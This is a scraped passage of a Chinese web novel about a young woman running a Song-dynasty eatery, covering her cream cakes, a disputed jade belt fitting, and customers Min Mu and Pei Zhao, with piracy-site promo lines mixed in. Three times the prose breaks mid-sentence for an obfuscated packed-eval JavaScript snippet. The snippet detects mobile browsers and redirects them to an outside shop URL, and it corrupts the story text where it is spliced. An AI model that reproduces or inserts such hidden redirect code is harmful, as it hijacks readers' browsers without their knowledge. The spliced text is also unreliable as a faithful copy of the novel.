那胖汉子见众人目光聚焦过来,眼神越发四下躲闪,不知道该往哪里看,嘴上支支吾吾说不出完整的字句,说了两句就找了个人群空隙钻了 出去,不知道往哪个角落里去了。 “哼,就这点小伎俩?”沈娥利落拍怕手,冲给自己拱手的叶盏摆摆手,“不值当一提。” 又冲排队人群说:“我们街坊们天天来光顾,往来都看熟悉了,哪里有这么一号人?再看他指甲缝那么脏,身上的绫罗看着不合体,空荡荡架在肩膀上,也不知道是哪家当铺临时拿出来应付的。” 街坊们纷纷点头:“你这么一说,还真是。” “到底是绸缎坊的老板,看人衣裳有一手。” 轮到沈娥时,叶盏便给她又多送了一份蛋糕:“这份不算在排队的一百二十份里,是我们店里单谢您的。” 沈娥毫不客气就收下了:“我帮你你别多心,实在是因为我当年也孤身一人做生意,他们看你是个女子,那什么龌龊手段都能使出来。我看着实在气不过。” 老板要是男的今天那胖子敢这么大咧咧闹事吗?不怕被暴揍一顿或是被挥舞的厨刀捅个窟窿?还不是看店里全是小娘子所以才用这种闹事法。 原来是老板从前也受过这种苦,叶盏便冲她再次拱手,作为感谢。 沈娥顾不上跟叶盏来回客气,她着急端着蛋糕坐下享受呢。 等坐下后立刻迫不及待拿着调羹去挖奶油蛋糕。 小说全网首发无弹窗免费阅读qiexs⑶(请来企鹅 小说 看最新章节 完整章节) 这奶油有点像冰块,似乎随着天气的热度在慢慢融化,刚才还是□□的,现在已经有了慢慢回落的趋势。 沈娥瞄了一眼老板拿来装木盆的大盘子,果然瞥到上面有一层薄薄的水汽,想必这之前都拿冰块来保鲜。 她点点头,这是人家的核心秘方,她自然无法窥探到太多。只专心拿勺子挖了奶油送进嘴里。 哇。 凉丝丝、水汪汪、滑溜溜,一下就融化在嘴巴里,而且还冒着浓郁的奶香。 再尝一口,里头有许多种滋味的果酱,融化了各种酸甜口味,正好中和吃奶油太多时候的腻味。 下面的糕体也好吃,松松软软,中间有许多密密麻麻的气孔,不知道老板用什么法子做得,比市面上许多糕点都要绵软。 沈娥一下就喜欢上了这个点心。又香又软又绵,没有她不喜欢的重口味,但仍旧能做到香味醇厚。 再看那奶油应当起了主要作用,沈娥想起自己喝羊乳时上面 漂浮着的一层奶皮子,据说那个是奶里面的油凝结的,最有营养最是养人,这奶油就应当跟那玩意儿差不多一个意思。 也不知道多少牛乳能压榨出这么点奶油,再说这怎么压榨应当也不容易,这么想想两贯银子也不贵呢。 沈娥想了想拿出两贯钱:“给我来一个,送到沈府。” “好嘞!”玉姐儿大声应下,高高兴兴,今天真是遇上贵人了,除了帮忙吆喝走坏人,还一开口就是这么大生意。 蓬蕊赶紧开口:“店里以后每天供应六个,今天的六个全部免费分发,店主又打算再多做六个,一个被沈掌柜订走,如今还有五个,约定从速!” 她第一次在这么多人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13321536|134506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟前大声说话,不由得脸涨得通红,心跳如擂,可还是掐着虎口鼓足勇气说出了这番话。 主要是她看外面旁的脚店食肆都会报菜名,她若是不报,影响了店里生意怎么是好? 果然她这一番鼓起勇气播报是有效果的,店里有位客人赶紧起身:“我要订一个。” “我也要一个。” 不过一盏茶的功夫,这五个蛋糕就被全部订光。 其他食客虽然没有花大价钱订蛋糕,但都在议论这件事:“滋味真不错。” “比冰沙要醇厚,比牛乳更甜更厚实,比各种糕点要更绵密。” “我明儿要带我娘过来尝尝。她老人家牙口不好,吃这个正好。” 打烊时,玉姐儿和蓬蕊看着整整十二贯银钱双双欢呼。 蓬蕊是没见过这么大笔的银钱,玉姐儿虽然跟着叶盏见过,但她没想到这短短一天就能赚这么多银钱:“我们刨除糖和牛乳这些原料的成本,一个蛋糕就能净赚一贯!” 蛋糕获得的收益让叶家人上下都惊讶坏了:价格这么昂贵的蛋糕居然真的卖出去了?! “看来汴京的有钱人比我想象的还要多。”叶大富感慨。 “不单单是有钱人多。”宓凤娘自豪抬头,“是我家盏儿做得好吃,所以人家才愿意付这个钱。”要不他们怎么不拿两贯去买旁人家的吃食? “二姐的手艺真厉害。”叶璃难得有这么小孩气的一面,“我在汴京城就没有见过第二份。” 银哥儿憨憨笑:“既然这么贵,妹妹就不要往我们军巡铺里送了 。叶盏做了蛋糕,还给家人分别切了几块叫他们人情往来。银哥儿同僚一份,给银哥儿上司一份。 “这蛋糕也不能白吃。宓凤娘高瞻远瞩,"你们哥俩以后有空就带着结拜兄弟们去转转,每日里能接送就接送,免得被有心人惦记上。" 叶盏店里出了上回那胖汉子的事后立刻告诉了家人,奈何家里人各个回忆都没想起自己得罪过这号人,只能姑且认为是看着叶家赚钱眼红的人。 吩咐完这个后,宓凤娘又开始她的算账环节:“每天多赚六贯,每月就是一百八十贯。一年就是两千一百六十贯,乖乖……这还了得? 一年赚两千两银子!这什么概念!而且这还只是蛋糕一项,若是加了其他菜肴的盈利,女儿岂不是个大富豪? 叶盏再次被亲娘机械的算账方式所惹笑:“娘,城里有钱人虽然多,但也就那么几个,难道人家每年来回吃蛋糕? 宓凤娘充耳不闻,已经开始盘算是给女儿买个大号的夜壶用来装钱呢还是索性在屋里挖几个废弃的老鼠洞来藏钱呢。 虽然赚得没有那么多,但因着蛋糕的事店里的盈利的确增加了,叶盏便给玉姐儿和蓬蕊各发了五十文:“店里生意好了,你们也辛苦,这是奖励。 旁的不提,单是送六个蛋糕送货上门就够劳累的,要小心翼翼保护蛋糕不被损坏,还要保证跑得快让奶油不至于融化,所以很是麻烦。 玉姐儿欢呼一声,将铜钱塞进了自己特意买来装钱的牛皮袋里。 蓬蕊收了钱,半天说不出话来。 叶盏还怕她又要婉拒,赶紧劝她:“收下吧,回头大家干活更拼命些便是。 蓬蕊便收下了钱,又往集市上买了回礼,第二天给叶盏塞了一个梅花熏香,给玉姐儿送了一条汗巾儿。 叶盏收下她的礼,才想起赚了钱是应当给家里人买些礼物。 她便自己往集市上去买东西,在一处古董商人那里买了一块蓝田玉的玉佩,又买了一件青玉的酒壶。 她虽然不懂玉石材质,可打眼一瞧看上去光泽温润,就知道这物件不便宜。 再去了银楼两位哥哥各挑了一块银扇坠,给玉姐儿买了一个银勺子,给叶璃买了一本据说是前朝流传下来的古书。 家人收到礼物,各个高兴得笑逐颜开: 宓凤娘不住摩挲着青玉的材质:“这玩意儿里面倒出来的酒一定会更香。 叶盏赶紧打消她念头:“娘,这个酒壶只能喝水,不能喝酒。 宓凤娘一听不能喝酒上翘的嘴角就耷拉下来了,不过转念又笑:“从这等尤物酒壶里倒出来,白水也能醇香似酒! 金哥儿打量着银扇坠:“妹妹送的,明日我就挂在扇子上,让往来人都看看。 银哥儿也捧着傻乐:"我没有扇子,但能央求旁人打个络子挂在我剑上,也能随身携带。" 叶璃早就爬上了房梁,翘脚躺在上面翻看古书里,不时还嗬嗬念叨一番,也不知道看到了什么神奇的字句。 玉姐儿笑眯眯:“这勺子好,据说银的能验毒呢,以后万一有人陷害我们给菜里投毒我一口就能吃出来。 惹得宓凤娘生气:“哪里来的话,赶紧收回,呸呸呸! 一家各有各的乐呵,就在这时听叶大富幽幽的声音:“盏儿,你这回买的蓝田玉玉佩,看着像真古董啊! 作者有话要说 来啦! 第 51 章 金钱鸡塔 第51章金钱鸡塔 “的确是从一名古董商人手里买的。”叶盏回忆着当时的情形,并未当回事。 但古董商卖得并不全是古董,除了银楼这些首饰店里有美玉出售就是古董商手里最全了。 “爹,我付的钱也就是普通玉佩的价钱,根本不是古董的价钱。”叶盏好笑。古董商人又不傻,没必要给她个普通客人卖古董。 “这玉佩看着好归好,不过太小了点。”宓凤娘接过玉佩,仔细打量,“总归是女儿心意,你挑拣什么?不喜欢给我。” “哪里是不喜欢女儿心意呢?”叶大富摇头,“只是看着这不像玉佩,倒像是蹀躞。” “蹀躞?那是什么?” 叶家人都听不懂,唯有叶璃从房梁上探半个头下来:“是腰带,大萨满腰间挂蹀躞方便祭祀。” “蹀躞是皮腰带,上面挂七件事:有针筒、刀子、佩刀、哕厥、砺石、火石袋、契苾真①。”叶大富讲解。 叶盏听明白了,这玩意变种到后世,就是中年男子腰间挂着的皮腰带,走路一连串钥匙、挖耳勺、瑞士小刀叮当作响。 “不是皮腰带么?这是玉佩,既不是腰带也不是皮的啊?”金哥儿拿着那玉佩好奇打量。 “腰带上镶嵌各种宝石,有的贵人用金玉带銙,三品以下用犀牛角装饰,七品到九品用银的装饰。”叶大富娓娓道来。 叶盏听得一知半解,忽然心里想:那小裴大人的腰带应当是用银的装饰了?只不过他到底是几品官来着?回头要好好打听打听。 她这里走神,那边厢叶大富认真给家里人讲解大唐的蹀躞等级制度,讲完后才认真捧着所谓的“玉佩”给家人比划:“这应当是唐时某个大官的蹀躞配件,流落了许久,有人将腰带上面的玉石撬下来,觉得这个能按照玉石卖,一来二去流落到了此处。这位古董商人学艺不精,以为就是一枚普通的玉石。” “那……” 这下就连叶璃都来了兴趣,她一翻身顺着房柱滑下来:“爹,这是哪位大官的?是随葬品吗?需要我烧纸马纸钱问问吗?” “嘶……”宓凤娘摸摸身上的鸡皮疙瘩。 “不用。这上面没有墓土尸液的浸染,应 当不是随葬品。”叶大富认真研究着玉石上沁入的脏污, “如果是盗墓贼拿出来的话,肯定不会这么草率就卖了。他们中间还是有些能人的。”叶大富一脸敬意。 叶盏:…… 叶家人:…… “这一品到三品大员,一朝才有十三枚,就算加上人事更迭也有限,再对对有什么人在开封府附近做官,想必能一一排除出来。”叶大富言归正传。 玉姐儿听得打哈欠:“爹,琢磨这个作甚?怪无聊的。” “若是没什么名气的也就罢了,若是有名气的政客要员,那我就要再去寻那个古董商。” 叶大富忽然踯躅满志:“想法子套话,打听这玉石是哪里收来的,再去寻玉石源头商人,假意路过,正好腰带断了,说自己想随手买一条腰带,从摊子上挑那条唐时的蹀躞,顺顺当当系在腰间拿回家。” “再将这玉石镶嵌回去,擦洗干净,用唐朝大员的名字卖出去,好比说长孙无忌、?房玄龄和李绩……”叶大富展望着蓝图,“那价钱可就翻了十倍、二十倍……” 说着说着叶大富满怀豪情,俨然自己就是全汴京,不,全大宋最懂古董的捡漏商人。 他眼睛灼灼看着家人,想获得支持。 然而叶家人各个神色平静回望他,连连摇头,没有人觉得这是个好主意:“这法子听着好迂回,无异于海里寻泥牛。” 随便哪个环节断了这件事就算失败了:万一是普通政客,万一是古董商人警觉,万一他也不记得是哪个玉石源头,万一那腰带历经年代洗礼被虫子蛀得腐朽了呢? 只有叶盏还很支持叶大富:“爹既然喜欢就去做,就当顽了②,横竖如今家里生计能支撑。” 叶大富拍拍胸膛,看着一屋子不看好他的家人:“你们等着瞧罢,定能卖出个好价钱。” 这件事就这么过去了,叶家人并未将其放在心上,庆祝完赚钱之后,叶盏又顺势推出了升级版蛋糕。 她将蛋糕上的装饰品再次增加,做出了各种主题。 这次食客们再来叶二姐食肆时就再次受到了震撼:往常看惯了的蛋糕上居然多了不同的装饰品,差点让人没认出来。 最当中一个蛋糕,居然有了两层,最中间摆着一个大大的寿桃,白里 透着粉红,看着活灵活现。旁边是一个好看的“寿比南山”字。 周边是一圈小小的寿桃,还有一只翩翩起舞的仙鹤。 仔细打量,却见那寿桃也是奶油做得,字体则散发着桑葚香气,应当是奶油蘸取了桑葚果酱写的字,仙鹤是用萝卜雕刻出来的,上面还用芝麻粒点了眼睛。 萝卜雕刻食客们并不以为奇,可是这寿桃造型和寿比南山的字却从未见过,寻常点心铺最多在糕饼上点个红心好看,哪里会有这么复杂的装饰? 当即都打听:“这是何物?” 叶盏大大方方:“这是陶编修家亲家老夫人过寿,特意从我店里订了寿星翁的蛋糕。” 陶夫人上次给她介绍了去娘家妹妹那里做菜,叶盏送了几道菜过去,博得了赞赏,因此两姐妹这次给自己亲娘做寿,便一致找了叶盏。 她们娘倒不吃素,只是贺礼要求一要新颖、二要绵软易烂方便老年人吃。 叶盏给她们看过蛋糕之后,两人一致决定就用蛋糕贺寿。 非但造型变化,盛放蛋糕的食盒也再次升级:叶盏特意去寻木匠,定制了能装下蛋糕的方盒。根据价钱不同,材质有檀香木、杏木、梨木等各种材质,丰俭由人。 还花钱请木匠在食盒外面刻上了“叶二姐食肆蛋糕”的招牌。 这食盒要送人也是极体面的,二来若是往来间拿出来,也被人知道叶二姐的名号,算是做一个品牌宣传。 食客们惊讶看着这寿桃蛋糕:“这好啊。” 原本以为叶家的蛋糕已经够好看了,没想到叶二姐还能精益求精。 谁家不给老人过寿,这寿礼拿出来多新颖,是京城独一份的样式,而且滋味香甜,这几天谁没吃过店里免费的蛋糕呢? 当即有人就开口:“老板,我要订一个蛋糕。几天后是我岳母寿辰,正好送这个。”多有面子。 闵穆也笑嘻嘻开口:“二姐,给我也订个,我今儿就拎回去孝敬老爹,免得他老人家不许我买奇石。” 自打卖房后他就时常来叶家食肆吃饭,如今和叶盏说话已经很不见外 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“馒头片又酥又脆鸡泥五香咸香主要是样子吉利。”叶盏讲解。 “好好好!二姐做得就是好。”闵穆高高兴兴忽然觉得后背有点凉。 叶盏将金钱鸡塔叠成片装满了两盘又从店里的自助菜肴里挑了几种白油肝片、红烧狮子头、水晶鸭方、醋溜鸡等几样装了食盒。 闵穆招手唤自家小厮:“拎去给你家太爷就说做儿子的在外面下馆子还惦记着他老人家呢。” 小厮应了一声就拎走了。 闵穆满意看着小厮背影:“我今儿就去奇石斋 老爷子一高兴还不得赶紧让账房批钱给他? 叶盏听他这么盘算不由得好笑念及他是老客人少不了要提点他两句:“我听说奇石多产自湖广和太湖都说人离乡贱物离乡贵你不如派人去湖广打听打听奇石的价格如此一来说不定比汴京便宜好多呢。” “?” 闵穆像是第一次听到这种建议。 他愕然好半天才回过神来:“叶二姐告辞了。我还有急事有办。”看那样子恨不得肋下生双翼就飞到江南。 匆匆走了一半又急忙忙回头:“叶二姐等我回来请您喝茶!” 却在回头那一瞬再次撞入那位陌生客人的眼睛让他再次浑身打了个哆嗦。 “难道是太过兴奋导致?”闵穆边赶路边嘀咕“不应该啊……” 作者有话要说 忽然加更了一章惊喜吧宝子们嘿嘿(鸽子骄傲挺胸) 备注:针筒、刀子、佩刀、哕厥、砺石、火石袋、契苾真①《唐会要·舆服上》 顽了②:不是玩的错字宋俚语。 ③金钱鸡塔:一道功夫菜现在做这道菜的餐馆越来越少了 感谢在2024-08-1521:08:08~2024-08-1522:50:43期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢灌溉营养液的小天使:奥润橘11瓶;岁10瓶;阿木5瓶;阮楹4瓶;Karen星微、辰儬、小教主1瓶; 非常感谢大家对我的支持我会继续努力的! 第 52 章 梅花汤饼 第52章梅花汤饼 闵侍郎正在宴客呢,听说外面有童子回禀:“少爷小厮求见,说是有好东西孝敬。” 闵侍郎蹙眉,摆摆手:"不用。" 他素日里最烦扰就是这个小儿子。因着四十岁时候老蚌生珠才生了他,夫妻两人难免比其他儿子都骄纵些,谁知如今长歪了。 不读书也罢了,闵家有个好儿子,科举入仕,跟父亲互为依仗,以后就算闵侍郎致仕回了老家这个小儿子顺顺当当做个守家的子弟也能平顺过一生。 偏他每日里喜欢的都是些败家玩意。前年迷上了制香,念叨着什么华帷凤玺、蜀主熏御衣香、四和香、清心降真香。还将丁香、辛夷、藿香、檀香木堆满了一屋子,浸泡得整间院子都如卤锅一样,不知道得还以为进了哪家酒楼的后厨。 去年迷上了点茶。收集了许许多多奇怪的茶具,桃木的、陶的、瓷的,整个院子里又堆满了各种器皿。 这也就忍了,毕竟制香熏香、点茶都是时下文人喜欢的玩意儿,出去交际也有个谈资,谁知道他现在又迷上了奇石。 这是寻常百姓家能迷得了的? 一块奇石可不便宜呢,贵得能达到几百贯银两。这般一掷千金,谁能供应得起? 也就是闵家祖上做过宰相所以家底深厚所以能由儿子这么折腾。又有故去的老夫人将自己的嫁妆给了小孙子一份,所以闵穆才能这么随心所欲。 闵侍郎一气之下提前分了家,将家里资产一分为三,将小儿子那份牢牢把在手里,并放出话去,每次他的花销都要从这份资产里扣,等他花光后家里就再也不会兜底了。 谁知道小儿子不以为然,居然肆无忌惮开始支取。 闵侍郎一提起他就头疼。 宾客们面面相觑,这回来赴宴的都是闵家亲眷和通家之好,算是家宴。因此人人都知道闵家家事,你看我我看你,都不做声。 谁知童子又来问了一遍:“少爷跟前旺儿说恐怕过一会就化了,枉费了少爷一片心。” 化了?那是什么东西? 是冰块? 闵夫人打圆场:“既然是冰就送进来吧,今日天热,给客人们也解解暑意。”因着是家宴,两边只粗浅隔 了一道屏风因此闵夫人也听见了这边动静。 便有亲属凑趣:“二少爷倒是孝顺孩子。”你一言我一语恭维起来将气氛烘托得温馨起来。 闵侍郎便也不便说什么无奈闭眼挥挥手示意童子将东西送进来。 端进来的却是几个食盒。 闵侍郎又要上火:送冰就大方些送几食盒是什么意思?当着这么多亲眷的面还不够跌份的吗? 闵夫人倒猜到了一半:“想必是冰沙饮子?”看着应该是冰碗。 她也是高龄产子对这个小儿子疼得什么似的便是一碗冰沙都高兴:“快打开看看你家少爷葫芦里卖什么关子。” 旺儿应了一声将食盒端到了桌子中间掀开了食盒最上面的木盖小心端了个托盘出来这才恭恭敬敬请诸位品尝:“老爷夫人请看。” 这是个什么?木制托盘上放着一个淡粉的糕体上面还有一个硕大的寿桃。 一共两层下面围着一圈小寿桃还有翩翩起舞的仙鹤有写好的“寿比南山”几个字。 “这点心好气派。”女眷那一桌有位闵家姑奶奶探身过来瞧先赞叹“活了这么大可从未见过这个。” 女眷们便也透过屏风看看寿桃:“这可是一片孝心。” “是啊这样稀罕物我就是在汴京城里最大的酒楼都没有见过。难道是樊楼的新花样?” 男宾里德高望重的隔房叔父点点头:“小二这孩子倒有孝心出去还巴巴儿惦记着给家里送东西。” 闵侍郎忙拱手:“您老谬赞。他小人家当不起这个。”脸上神色却稍霁。哼这小子还算有点数。 “这个怎么吃?”闵夫人笑吟吟问。 “回禀夫人这个叫做蛋糕是要用刀分着吃的。”旺儿赶紧使唤仆妇拿刀 别看儿子不着调调教的人倒有点眼力见。闵老爷微微点点头。 每个宾客碟子里都盛了一个仔细看才发现上面浅紫色的装饰在慢慢融化怪不得说要尽快吃了怕化了。 因此也不再客气纷纷吃起了蛋糕。 这一吃各个赞不绝口:“当真没吃过这样的美味。” “怎么就在嘴里化了? “还有一股醇香,甜滋滋的。 "滋味很清爽,我这不爱吃点心的都忍不住要再吃一块。要知道平日里我可是嫌点心齁甜,轻易不怎么碰呢。 亲眷们纷纷称赞,闵夫人脸上大有光彩。随口答:“爱吃便回头打发人再给你送些去。 一边吩咐旺儿:“再去订一份给二舅母家送过去。 “夫人,只怕要等一段日子。旺儿面露难色,“这蛋糕是个稀罕物件,那间店每日里只做六个出来,如今单子上排队的都轮到两个月后了。 “咱家这个,还是少爷想尽了法子跟掌柜的说了好久才能订到的。 这下宾客们都惊讶了:“怎么这么久? 想想又说:“这么可口,也难怪供不应求。 因此称赞:“既然这么难得,可见二少爷一片孝心。 “就是,都说千金难买儿子孝,我看你俩是个有福气的,老大在外面官途高升,小的在身边服侍左右。 亲眷们你一言我一语说得闵夫人满脸笑意,就是闵老爷,虽然板着脸,但眉宇间也多了一丝满意。 旺儿暗暗擦了擦汗。 等宴席散去,他赶紧去寻管事:“还请您将账册送到老爷房里去。 果不其然,闵老爷这回连看都没看,就点头同意了给奇石斋交付账款。 只不过他还是多问了一句:"少爷呢?怎得今天不回家?" 旺儿的心悬了起来,脑子飞速运转:“少爷买蛋糕时被蛋糕店老板点拨了一番,顿时对买奇石的事悔不当初,搭乘快船去了湖广产石区,说要去讨回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13321538|134506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被宰的银子,临走前叫我给老爷夫人送了蛋糕,还要小的捎话说他如今迷途知返了。 闵侍郎想了想:“也罢。能够四处游历一番,也能长长见识,不至于宰被骗。 闵夫人赶紧开口:“对对对,老爷说得对,如今小二算是浪子回头,也能体谅父母的苦心了。 平安过关,趁着没人注意旺儿退下,赶紧擦擦汗水。待会要赶紧给少爷寄信捎话,将两边话圆起来才好。 跟着旺儿目睹了全程的小厮目瞪口呆,怪不得旺儿是少爷身边第一得意人呢,这份钱可真该他赚啊! 闵夫人倒是 记住了这家食肆,第二天又派了丫鬟去买点心:“一来排个蛋糕,二来买些旁的回家吃。” 丫鬟笑吟吟来找叶盏,说明缘由后又递了个荷包:“这是我家夫人谢礼,说她劝了许久少爷都不回头,偏您几句话就说动了少爷,算是谢礼。” 叶盏听见荷包里金属撞击的声音,便知道里面是银钱,因此摆手不接:“你家少爷是我家客人,我只是随口提了两句,还是靠他自己拿主意。” 丫鬟见叶盏坚决推辞了好几回都不收,再看她眼睛澄澈,便知道她是真心不想收,便也不勉强,只笑道:“既然这样,就多点几道菜。” 殊不知裴昭坐在旁边,看完了全程。 叶盏应了丫鬟一声,帮她定好了菜单:“那便来个花仁拌兔丁、叉烧肉、糟醉笋、油淋兔、姜爆鸭丝几样便好。” 玉姐儿手脚麻利,早就去操作台菜盆里盛菜:“我来盛菜。” 叶盏见她接手,便顺顺当当去客人桌,问客人:“客人,您可要点什么?” 问完才看见客人是裴昭,这才笑了,算是打个招呼。 闵家丫鬟也好奇看过来,由不得她不注意,裴昭面容俊朗、浑身有一股英武之气,坐在小小的店铺里很是醒目,让叶盏想起一个成语:蓬荜生辉。 闵家丫鬟随口笑,问玉姐儿:“你家生意倒不少,不过我家少爷应当是常客吧,所以才能买到那寿桃蛋糕,不知道还能不能看在我家少爷面子上再买几份?” 裴昭也看见那丫鬟看过来了,听见了那句话,他移开目光,不动声色。 叶盏继续问:“裴大人,请问您要吃什么?” 裴昭点点头:“按照我平日里爱吃的做便是。” ? 叶盏愣了一愣。 “嗯,就照着往常的样子做便是。”裴昭回答,又回了一句,“我也要订制一个蛋糕,按次序排着就好。” 闵家丫鬟“哦”了一声,原来他不是新客,原来熟客也要排队啊。 叶盏一头雾水回了操作桌,她是真不知道裴昭每天吃什么,又不好意思多问,显得自己对客人并不上心。 想了想索性两种口味都照顾到,先做一个清淡的梅花汤饼,再做一个重口味的缠丝兔, 两种口味都有,应该总能蒙一样吧? 作者有话要说 来啦,今晚还有一更 第 53 章 缠丝兔 第53章缠丝兔 缠丝兔子是早就做好的,腌制好的兔子抹上甜面酱、豆豉、姜粉等各种酱料后用熏灶熏完后挂起来。 或许是因为制作时捆扎成了圆柱体,要用到许多丝带和麻绳,所以才得名缠丝兔。不过叶盏还没深究过这道菜名字的由来。 平日里食肆闲暇时叶盏就会做些风干鱼、腌菜这样的功夫菜收起来,平日里有食客要吃时就能快速做出成品。因此这道菜好准备。 裴昭坐在餐桌前,手里拿着一杯茶,却不喝,只打眼看叶盏做菜。 只见她踮起脚尖,从房梁上拿下一串系在麻绳上的兔,随后又挥刀砍了一半,将剩下的兔子放了回去。 随后拿起刀,将案板上的兔子仔细切成圆片,那风干过的兔子应当是有点硬,所以她切得很慢,一手扶着肉骨一边慢慢切,右胳膊抬起,看得出来全部的重心都放在了这个胳膊上。眼睛则专注盯着案板,连一绺碎发从头顶掉下来都没有留意。 叶盏没把这绺头发当回事。她专心致志将兔肉切成好看的小圆片,做风干兔时曾用麻绳和纱布仔细捆扎成了圆柱体,因此现在只要一切就能切成整齐的圆片。 薄薄一层兔片铺在雪白的瓷盘上,再看着蒸笼冒出水蒸气上汽了,赶紧用纱布将两个瓷盘放进蒸笼里。 玉姐儿在旁边惊呼,赶紧拿抹布过去:“说了多少次,热锅里取放食物要拿布巾垫着,烫伤了手怎么办?” “无妨。我们厨子的手,做惯了就觉察不出烫了。”叶盏一边笑嘻嘻说一边快速盖上蒸笼盖。 玉姐儿摇摇头:“你就不听话,回头我告诉娘去。” 叶盏挤了个鬼脸回答她:“我多切了一盘,原想着晚上我们吃,既然娘知道……” “不说了不说了!”玉姐儿滑跪得飞速。 裴昭在这里看见,不由得唇角带了一抹笑意。他平日里见叶盏干活麻利、举止稳重,这还是第一次见她这么孩子气。 趁着上锅蒸兔肉的时候,叶盏开始做梅花汤饼。 先拿出一个青色大瓷罐,拿下塞子往外倒梅花。 梅花汤饼本来需要用新鲜梅花做,只不过如今不是季节,便拿干梅花来制作。 这梅花是闵穆送来的风干梅花他喜爱风雅因此没少捣鼓这些风雅之物。 “这可是闵公子送来的赠礼?”玉姐儿凑过来。 叶盏嗯了一声。 裴昭端着茶盅的手指关节有点泛白。 闵家丫鬟便捂嘴笑:“像我们家少爷能干得出来的事。” 就是太不务正业了她想起自家夫人的担忧忍不住叹口气。当然家丑不外扬她一点都没说半点少爷的不是。只是神色幽幽。 叶盏正在和面一边在面粉盆里加水加梅花一边居然还抬起头看了她一眼。 叶盏没多问似乎知道小丫鬟在为什么事情烦恼像是在随口闲谈:“各人有各人的缘法若是钻研得深了 丫鬟倒是一惊她没想到这位厨娘看出了自己的心思。 裴昭目光变得深邃仔细品嚼着这几句话。 再抬头时他看叶盏的眼神已经添了更多欣赏。 玉姐儿没听懂叶盏的话但也囫囵般听了个大意:“就是啊三百六十行行行出状元嘛。” 闵公子那么风雅清贵为什么非得去做官。当官的各个大腹便便又胖又丑有什么意思。 丫鬟这时候回过神来感激笑笑。感激叶盏不点破是自家少爷的事也感激她能提点两句。心中决定把这件事说与自己家夫人知道。 活好了面擀平用一副梅花模子印出各色梅花形状随后下锅煮熟后用漏勺捞出放进早就准备好的鸡汤里。 “好了。” 这时候兔片也蒸好了。 蒸好的兔片出炉后淋上一层芝麻油香油和花椒油蒸汽带着香料的滋味直冲四周散得到处都有。 店里的食客们吸吸鼻子。 闵家丫鬟正在收拾食盒看见后当即问话:“我也想各来一份。”那个梅花汤饼看着清淡爽口缠丝兔又闻着这么香回去带给夫人正好。 叶盏正要答应下来就撞上了裴昭的目光。 他目光深邃没说话。 不知道为什么叶盏猛地产生一种感觉似乎这位客人并不想闵家吃跟自己一样 的饭菜。 叶盏顿了顿,倒没拒绝丫鬟,就算不是错觉,她也没必要因为一个客人的不悦而拒绝另一个客人。 只是翻看了一回之后,她很遗憾回答:“缠丝兔倒是有一份,不过我答应了给我姐姐吃。梅花汤饼倒是可以再做一碗,但是煮起来慢,其他菜凉了就不好吃了。 说更新,记住域名qiexs.com?(请来企鹅小 说 看最新章节 完整章节) 丫鬟应了一声,不无遗憾:“那好吧。下回再来买。 裴昭拿起了筷子,神情似乎没变,可无端让人觉得他一定心情很好。 两道菜上桌,他开始吃饭。不得不说,这两道菜滋味都很好吃。 他印象里兔肉很瘦很柴,说实话没什么滋味,很寡淡。因此寻常餐馆处理时就会用黄酱黄焖、或用重重的麻椒花椒去增添其中的滋味。 可是叶盏用了熏肉的方法,这样原本寡淡的兔肉本身也增添了许多滋味:熏肉特有的烟火气、类似火腿发酵的鲜味、还有甜面酱等多种霸道的调料滋味。 经过熏、蒸、发酵等多种功效,这些滋味深深渗透进了兔肉的每一道纤维,在齿颊间留香。 再咬一口又觉察出了第二层滋味:不费牙。一般兔肉柴、瘦,这就决定了每每吃兔肉都要用牙齿撕扯,实现牙齿和兔肉之间的拉扯,要是遇上牙口不好的人就会让滋味大打折扣。 可切成了薄片又熏蒸过之后,随便吃都没有费力的感觉。 这道菜色泽好看,深红色的圆兔头片摆在精致白瓷盘里,看着像一瓣瓣牡丹花花瓣。 兔肉嫩嫩的,味道咸香,各种复合滋味齐齐在舌尖循环登陆。 裴昭连着吃了两口缠丝兔,这才开始吃梅花汤饼。 这道面食放在鸡汤碗里,有个调羹,梅花在鸡汤里浮浮沉沉,看着疏影有致,更像是汤羹。 裴昭舀了一口,连梅花面片带鸡汤一起送进了嘴里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13321539|134506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸡汤是店里熬煮备着的高汤,因此滋味极其浓郁,鲜美,十几种配料配着肥油老母鸡和猪骨头熬出来的高汤,一口下去胶质满满,许多种滋味在舌尖萦绕。 与鸡汤的浓郁形成鲜明对比的是梅花面片的清淡。 面片薄如蝉翼,几乎是入口就化了,微微一抿就化开了,里面梅花的香气若有若无,几乎品尝不到,可在某个松懈了的当口又能尝到一口梅花香。 就像在梅花林里出没,要不经意间才能忽然嗅到一口梅花香。 